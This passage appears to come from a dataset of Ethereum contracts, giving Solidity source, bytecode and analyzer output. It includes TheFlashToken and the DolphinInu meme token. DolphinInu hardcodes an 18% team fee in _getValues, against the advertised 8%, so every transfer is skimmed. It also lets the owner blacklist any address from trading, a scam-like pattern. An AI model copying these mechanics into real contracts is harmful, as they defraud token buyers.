91505060405180910390fd5b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f61035e610463565b604080516001600160a01b03928316815291841660208301528051918290030190a16101d5816104c8565b6000610393610463565b6001600160a01b0316336001600160a01b031614156102c4576102bd610463565b3b151590565b6103c2610463565b6001600160a01b0316336001600160a01b031614156104125760405162461bcd60e51b81526004018080602001828103825260328152602001806105556032913960400191505060405180910390fd5b6101a96101a9565b7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc5490565b3660008037600080366000845af43d6000803e80801561045e573d6000f35b3d6000fd5b7fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035490565b610491816104ec565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b90600090a250565b7fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d610355565b6104f5816103b4565b6105305760405162461bcd60e51b815260040180806020018281038252603b8152602001806105bd603b913960400191505060405180910390fd5b7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc5556fe43616e6e6f742063616c6c2066616c6c6261636b2066756e6374696f6e2066726f6d207468652070726f78792061646d696e43616e6e6f74206368616e6765207468652061646d696e206f6620612070726f787920746f20746865207a65726f206164647265737343616e6e6f742073657420612070726f787920696d706c656d656e746174696f6e20746f2061206e6f6e2d636f6e74726163742061646472657373a264697066735822122073c4c21e5c673ed7cd3c216206991b426c7391cadd714e9a2c3f3ee94217be2b64736f6c634300060c0033
{"success": true, "error": null, "results": {}}
1,031
0x4957a5a6abbf2ed33c4f586b72d9cf8079b3a1d2
pragma solidity ^0.4.16; contract owned { address public owner; function owned() public { owner = msg.sender; } modifier onlyOwner { require(msg.sender == owner); _; } function transferOwnership(address newOwner) onlyOwner public { owner = newOwner; } } interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) public; } contract TokenERC20 { // Public variables of the token string public name; string public symbol; uint8 public decimals = 18; // 18 decimals is the strongly suggested default, avoid changing it uint256 public totalSupply; // This creates an array with all balances mapping (address => uint256) public balanceOf; mapping (address => mapping (address => uint256)) public allowance; // This generates a public event on the blockchain that will notify clients event Transfer(address indexed from, address indexed to, uint256 value); // This notifies clients about the amount burnt event Burn(address indexed from, uint256 value); /** * Constrctor function * * Initializes contract with initial supply tokens to the creator of the contract */ function TokenERC20( uint256 initialSupply, string tokenName, string tokenSymbol ) public { totalSupply = initialSupply * 10 ** uint256(decimals); // Update total supply with the decimal amount balanceOf[msg.sender] = totalSupply; // Give the creator all initial tokens name = tokenName; // Set the name for display purposes symbol = tokenSymbol; // Set the symbol for display purposes } /** * Internal transfer, only can be called by this contract */ function _transfer(address _from, address _to, uint _value) internal { // Prevent transfer to 0x0 address. Use burn() instead require(_to != 0x0); // Check if the sender has enough require(balanceOf[_from] >= _value); // Check for overflows require(balanceOf[_to] + _value > balanceOf[_to]); // Save this for an assertion in the future uint previousBalances = balanceOf[_from] + balanceOf[_to]; // Subtract from the sender balanceOf[_from] -= _value; // Add the same to the recipient balanceOf[_to] += _value; Transfer(_from, _to, _value); // Asserts are used to use static analysis to find bugs in your code. They should never fail assert(balanceOf[_from] + balanceOf[_to] == previousBalances); } /** * Transfer tokens * * Send `_value` tokens to `_to` from your account * * @param _to The address of the recipient * @param _value the amount to send */ function transfer(address _to, uint256 _value) public { _transfer(msg.sender, _to, _value); } /** * Transfer tokens from other address * * Send `_value` tokens to `_to` in behalf of `_from` * * @param _from The address of the sender * @param _to The address of the recipient * @param _value the amount to send */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { require(_value <= allowance[_from][msg.sender]); // Check allowance allowance[_from][msg.sender] -= _value; _transfer(_from, _to, _value); return true; } /** * Set allowance for other address * * Allows `_spender` to spend no more than `_value` tokens in your behalf * * @param _spender The address authorized to spend * @param _value the max amount they can spend */ function approve(address _spender, uint256 _value) public returns (bool success) { allowance[msg.sender][_spender] = _value; return true; } /** * Set allowance for other address and notify * * Allows `_spender` to spend no more than `_value` tokens in your behalf, and then ping the contract about it * * @param _spender The address authorized to spend * @param _value the max amount they can spend * @param _extraData some extra information to send to the approved contract */ function approveAndCall(address _spender, uint256 _value, bytes _extraData) public returns (bool success) { tokenRecipient spender = tokenRecipient(_spender); if (approve(_spender, _value)) { spender.receiveApproval(msg.sender, _value, this, _extraData); return true; } } /** * Destroy tokens * * Remove `_value` tokens from the system irreversibly * * @param _value the amount of money to burn */ function burn(uint256 _value) public returns (bool success) { require(balanceOf[msg.sender] >= _value); // Check if the sender has enough balanceOf[msg.sender] -= _value; // Subtract from the sender totalSupply -= _value; // Updates totalSupply Burn(msg.sender, _value); return true; } /** * Destroy tokens from other account * * Remove `_value` tokens from the system irreversibly on behalf of `_from`. * * @param _from the address of the sender * @param _value the amount of money to burn */ function burnFrom(address _from, uint256 _value) public returns (bool success) { require(balanceOf[_from] >= _value); // Check if the targeted balance is enough require(_value <= allowance[_from][msg.sender]); // Check allowance balanceOf[_from] -= _value; // Subtract from the targeted balance allowance[_from][msg.sender] -= _value; // Subtract from the sender&#39;s allowance totalSupply -= _value; // Update totalSupply Burn(_from, _value); return true; } } /******************************************/ /* ADVANCED TOKEN STARTS HERE */ /******************************************/ contract TheFlashToken is owned, TokenERC20 { uint256 public sellPrice; uint256 public buyPrice; mapping (address => bool) public frozenAccount; /* This generates a public event on the blockchain that will notify clients */ event FrozenFunds(address target, bool frozen); /* Initializes contract with initial supply tokens to the creator of the contract */ function TheFlashToken( uint256 initialSupply, string tokenName, string tokenSymbol ) TokenERC20(initialSupply, tokenName, tokenSymbol) public {} /* Internal transfer, only can be called by this contract */ function _transfer(address _from, address _to, uint _value) internal { require (_to != 0x0); // Prevent transfer to 0x0 address. Use burn() instead require (balanceOf[_from] >= _value); // Check if the sender has enough require (balanceOf[_to] + _value >= balanceOf[_to]); // Check for overflows require(!frozenAccount[_from]); // Check if sender is frozen require(!frozenAccount[_to]); // Check if recipient is frozen balanceOf[_from] -= _value; // Subtract from the sender balanceOf[_to] += _value; // Add the same to the recipient Transfer(_from, _to, _value); } /// @notice Create `mintedAmount` tokens and send it to `target` /// @param target Address to receive the tokens /// @param mintedAmount the amount of tokens it will receive function mintToken(address target, uint256 mintedAmount) onlyOwner public { balanceOf[target] += mintedAmount; totalSupply += mintedAmount; Transfer(0, this, mintedAmount); Transfer(this, target, mintedAmount); } /// @notice `freeze? Prevent | Allow` `target` from sending & receiving tokens /// @param target Address to be frozen /// @param freeze either to freeze it or not function freezeAccount(address target, bool freeze) onlyOwner public { frozenAccount[target] = freeze; FrozenFunds(target, freeze); } /// @notice Allow users to buy tokens for `newBuyPrice` eth and sell tokens for `newSellPrice` eth /// @param newSellPrice Price the users can sell to the contract /// @param newBuyPrice Price users can buy from the contract function setPrices(uint256 newSellPrice, uint256 newBuyPrice) onlyOwner public { sellPrice = newSellPrice; buyPrice = newBuyPrice; } /// @notice Buy tokens from contract by sending ether function buy() payable public { uint amount = msg.value / buyPrice; // calculates the amount _transfer(this, msg.sender, amount); // makes the transfers } /// @notice Sell `amount` tokens to contract /// @param amount amount of tokens to be sold function sell(uint256 amount) public { require(this.balance >= amount * sellPrice); // checks if the contract has enough ether to buy _transfer(msg.sender, this, amount); // makes the transfers msg.sender.transfer(amount * sellPrice); // sends ether to the seller. It&#39;s important to do this last to avoid recursion attacks } }
0x608060405260043610610128576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806305fefda71461012d57806306fdde0314610164578063095ea7b3146101f457806318160ddd1461025957806323b872dd14610284578063313ce5671461030957806342966c681461033a5780634b7503341461037f57806370a08231146103aa57806379c650681461040157806379cc67901461044e5780638620410b146104b35780638da5cb5b146104de57806395d89b4114610535578063a6f2ae3a146105c5578063a9059cbb146105cf578063b414d4b61461061c578063cae9ca5114610677578063dd62ed3e14610722578063e4849b3214610799578063e724529c146107c6578063f2fde38b14610815575b600080fd5b34801561013957600080fd5b506101626004803603810190808035906020019092919080359060200190929190505050610858565b005b34801561017057600080fd5b506101796108c5565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101b957808201518184015260208101905061019e565b50505050905090810190601f1680156101e65780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561020057600080fd5b5061023f600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610963565b604051808215151515815260200191505060405180910390f35b34801561026557600080fd5b5061026e6109f0565b6040518082815260200191505060405180910390f35b34801561029057600080fd5b506102ef600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506109f6565b604051808215151515815260200191505060405180910390f35b34801561031557600080fd5b5061031e610b23565b604051808260ff1660ff16815260200191505060405180910390f35b34801561034657600080fd5b5061036560048036038101908080359060200190929190505050610b36565b604051808215151515815260200191505060405180910390f35b34801561038b57600080fd5b50610394610c3a565b6040518082815260200191505060405180910390f35b3480156103b657600080fd5b506103eb600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610c40565b6040518082815260200191505060405180910390f35b34801561040d57600080fd5b5061044c600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610c58565b005b34801561045a57600080fd5b50610499600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610dc9565b604051808215151515815260200191505060405180910390f35b3480156104bf57600080fd5b506104c8610fe3565b6040518082815260200191505060405180910390f35b3480156104ea57600080fd5b506104f3610fe9565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561054157600080fd5b5061054a61100e565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561058a57808201518184015260208101905061056f565b50505050905090810190601f1680156105b75780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6105cd6110ac565b005b3480156105db57600080fd5b5061061a600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506110cc565b005b34801561062857600080fd5b5061065d600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506110db565b604051808215151515815260200191505060405180910390f35b34801561068357600080fd5b50610708600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091929192905050506110fb565b604051808215151515815260200191505060405180910390f35b34801561072e57600080fd5b50610783600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061127e565b6040518082815260200191505060405180910390f35b3480156107a557600080fd5b506107c4600480360381019080803590602001909291905050506112a3565b005b3480156107d257600080fd5b50610813600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803515159060200190929190505050611326565b005b34801561082157600080fd5b50610856600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061144b565b005b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156108b357600080fd5b81600781905550806008819055505050565b60018054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561095b5780601f106109305761010080835404028352916020019161095b565b820191906000526020600020905b81548152906001019060200180831161093e57829003601f168201915b505050505081565b600081600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506001905092915050565b60045481565b6000600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515610a8357600080fd5b81600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540392505081905550610b188484846114e9565b600190509392505050565b600360009054906101000a900460ff1681565b600081600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410151515610b8657600080fd5b81600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540392505081905550816004600082825403925050819055503373ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5836040518082815260200191505060405180910390a260019050919050565b60075481565b60056020528060005260406000206000915090505481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610cb357600080fd5b80600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540192505081905550806004600082825401925050819055503073ffffffffffffffffffffffffffffffffffffffff1660007fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a38173ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b600081600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410151515610e1957600080fd5b600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515610ea457600080fd5b81600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254039250508190555081600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540392505081905550816004600082825403925050819055508273ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5836040518082815260200191505060405180910390a26001905092915050565b60085481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60028054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156110a45780601f10611079576101008083540402835291602001916110a4565b820191906000526020600020905b81548152906001019060200180831161108757829003601f168201915b505050505081565b6000600854348115156110bb57fe5b0490506110c93033836114e9565b50565b6110d73383836114e9565b5050565b60096020528060005260406000206000915054906101000a900460ff1681565b60008084905061110b8585610963565b15611275578073ffffffffffffffffffffffffffffffffffffffff16638f4ffcb1338630876040518563ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018481526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200180602001828103825283818151815260200191508051906020019080838360005b838110156112055780820151818401526020810190506111ea565b50505050905090810190601f1680156112325780820380516001836020036101000a031916815260200191505b5095505050505050600060405180830381600087803b15801561125457600080fd5b505af1158015611268573d6000803e3d6000fd5b5050505060019150611276565b5b509392505050565b6006602052816000526040600020602052806000526040600020600091509150505481565b60075481023073ffffffffffffffffffffffffffffffffffffffff1631101515156112cd57600080fd5b6112d83330836114e9565b3373ffffffffffffffffffffffffffffffffffffffff166108fc60075483029081150290604051600060405180830381858888f19350505050158015611322573d6000803e3d6000fd5b5050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561138157600080fd5b80600960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055507f48335238b4855f35377ed80f164e8c6f3c366e54ac00b96a6402d4a9814a03a58282604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001821515151581526020019250505060405180910390a15050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156114a657600080fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60008273ffffffffffffffffffffffffffffffffffffffff161415151561150f57600080fd5b80600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015151561155d57600080fd5b600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205481600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205401101515156115ec57600080fd5b600960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615151561164557600080fd5b600960008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615151561169e57600080fd5b80600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254039250508190555080600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050505600a165627a7a723058204a4321bdfa33c1e5160c25518f65fbeae1256b0c2bc32d2efeb820f22c475af40029
{"success": true, "error": null, "results": {"detectors": [{"check": "erc20-interface", "impact": "Medium", "confidence": "High"}]}}
1,032
0xd8612dbcd39fea7ed0460485e3dd154e9a639654
/** * $DolphinInu is going to launch in the uniswap at anytime you make! 📱 https://t.me/dolphininutoken 🦜 https://twitter.com/Dolphin_Inu 🕐 https://www.timeanddate.com/countdown/launch?iso=20210706T07&p0=822&msg=Dolphin+Inu+Launch&font=serif&csz=1 🔥 No Team Tokens 🧨 Ownership will be renounced 🔒 LP will be locked on Team.Finance ⏰ No cooldown 🧩 1% Buy limit at start 👏 No limit for sell. */ // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract DolphinInu is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "Dolphin Inu | t.me/dolphininutoken"; string private constant _symbol = "Dolphinu \xF0\x9F\x90\xAC"; uint8 private constant _decimals = 9; // RFI mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _taxFee = 2; uint256 private _teamFee = 8; // Bot detection mapping(address => bool) private bots; mapping(address => uint256) private cooldown; address payable private _teamAddress; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor(address payable addr1) { _teamAddress = addr1; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_teamAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_taxFee == 0 && _teamFee == 0) return; _taxFee = 0; _teamFee = 0; } function restoreAllFee() private { _taxFee = 2; _teamFee = 8; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { if (cooldownEnabled) { if ( from != address(this) && to != address(this) && from != address(uniswapV2Router) && to != address(uniswapV2Router) ) { require( _msgSender() == address(uniswapV2Router) || _msgSender() == uniswapV2Pair, "ERR: Uniswap only" ); } } if (from != address(this)) { require(amount <= _maxTxAmount); } require(!bots[from] && !bots[to]); if ( from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to] && cooldownEnabled ) { require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (60 seconds); } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) { takeFee = false; } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _teamAddress.transfer(amount); } function openTrading() external onlyOwner() { require(!tradingOpen, "trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}( address(this), balanceOf(address(this)), 0, 0, owner(), block.timestamp ); swapEnabled = true; cooldownEnabled = false; _maxTxAmount = 50000000000 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve( address(uniswapV2Router), type(uint256).max ); } function manualswap() external { require(_msgSender() == _teamAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _teamAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function setBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, 18); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 taxFee, uint256 TeamFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() { require(maxTxPercent > 0, "Amount must be greater than 0"); _maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2); emit MaxTxAmountUpdated(_maxTxAmount); } }
0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a14610364578063c3c8cd801461038d578063c9567bf9146103a4578063d543dbeb146103bb578063dd62ed3e146103e457610114565b8063715018a6146102ba5780638da5cb5b146102d157806395d89b41146102fc578063a9059cbb1461032757610114565b8063273123b7116100dc578063273123b7146101e9578063313ce567146102125780635932ead11461023d5780636fc3eaec1461026657806370a082311461027d57610114565b806306fdde0314610119578063095ea7b31461014457806318160ddd1461018157806323b872dd146101ac57610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e610421565b60405161013b9190612e66565b60405180910390f35b34801561015057600080fd5b5061016b60048036038101906101669190612989565b610441565b6040516101789190612e4b565b60405180910390f35b34801561018d57600080fd5b5061019661045f565b6040516101a39190613008565b60405180910390f35b3480156101b857600080fd5b506101d360048036038101906101ce919061293a565b610470565b6040516101e09190612e4b565b60405180910390f35b3480156101f557600080fd5b50610210600480360381019061020b91906128ac565b610549565b005b34801561021e57600080fd5b50610227610639565b604051610234919061307d565b60405180910390f35b34801561024957